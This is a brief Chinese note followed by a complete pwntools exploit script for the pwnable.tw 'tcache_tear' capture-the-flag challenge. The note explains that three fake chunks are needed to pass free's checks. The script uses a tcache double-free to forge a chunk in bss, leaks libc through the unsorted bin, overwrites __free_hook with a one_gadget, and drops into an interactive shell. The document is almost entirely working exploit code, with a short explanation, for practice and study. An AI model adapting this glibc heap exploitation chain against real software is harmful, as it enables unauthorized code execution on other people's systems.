需要注意的:首先是free伪造的bss段上堆块的时候要伪造三个才能free,因为都会检查。
其次是在这个版本的glibc下,tcache不会检查bins中size为,因此尽管free周围没有0x7f也可以伪造chunk
from pwn import *
# io = process('./tcache_tear')
io = remote('chall.pwnable.tw',10207)
context.log_level='debug'
elf = ELF('./tcache_tear')
libc = elf.libc
# usage of double-free in tcache
# fake chunk in bss to be put into unsorted bin
payload1 = p64(0)+p64(0x501)+p64(0xdeadbeef)
io.recvuntil('Name:')
io.sendline(payload1)
name_ptr = 0x602060
def add(size,data):
io.recvuntil('choice :')
io.sendline(str(1))
io.recvuntil('Size:')
io.sendline(str(size))
io.recvuntil('Data:')
io.sendline(data)
io.recvline()
def show():
io.recvuntil('choice :')
io.sendline(str(3))
def free():
io.recvuntil('choice :')
io.sendline(str(2))
# gdb.attach(io,"b *0x400B14") # break at malloc
add(10,'aaaa')
free()
free()
add(10,p64(name_ptr+0x10))
add(10,'bbbb')
# get name_ptr
# chunk_fake = 'a'*0x490+p64(0)+p64(0x21)
chunk_fake = 'a'*0x18+p64(0x602070)+'a'*(0x500-0x10-0x20)+p64(0x501)+p64(0x21)+'a'*0x18 + p64(0x21)
add(10,chunk_fake) # integer overflow
# pause()
free()
show()
# add(0x300,'dddd')
# gdb.attach(io,"b *0x400B99") # break at show
libc_info = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print "libc_info----->" + hex(libc_info)
libc_base = libc_info - 0x3ebca0
print "libc_base----->" + hex(libc_base)
malloc_hook = libc_base + libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
print "malloc_hook----->" + hex(malloc_hook)
print "free_hook----->" + hex(free_hook)
system = libc_base + libc.sym['system']
print "system----->" + hex(system)
one_gadget = [0x4f2c5,0x4f322,0x10a38c]
oneshot = one_gadget[1]+libc_base
# hijack freehook
add(0x68,'cccc')
free()
free()
# pause()
add(0x68,p64(free_hook-0x13))
# pause()
add(0x68,'dddd')
payload = 'a'*0x13+p64(oneshot)
add(0x68,payload)
# gdb.attach(io,"b *0x400B14")
# pause()
# io.recvuntil('choice :')
# io.sendline(str(1))
# io.recvuntil('Size:')
# io.sendline(str(0x200))
free()
io.interactive()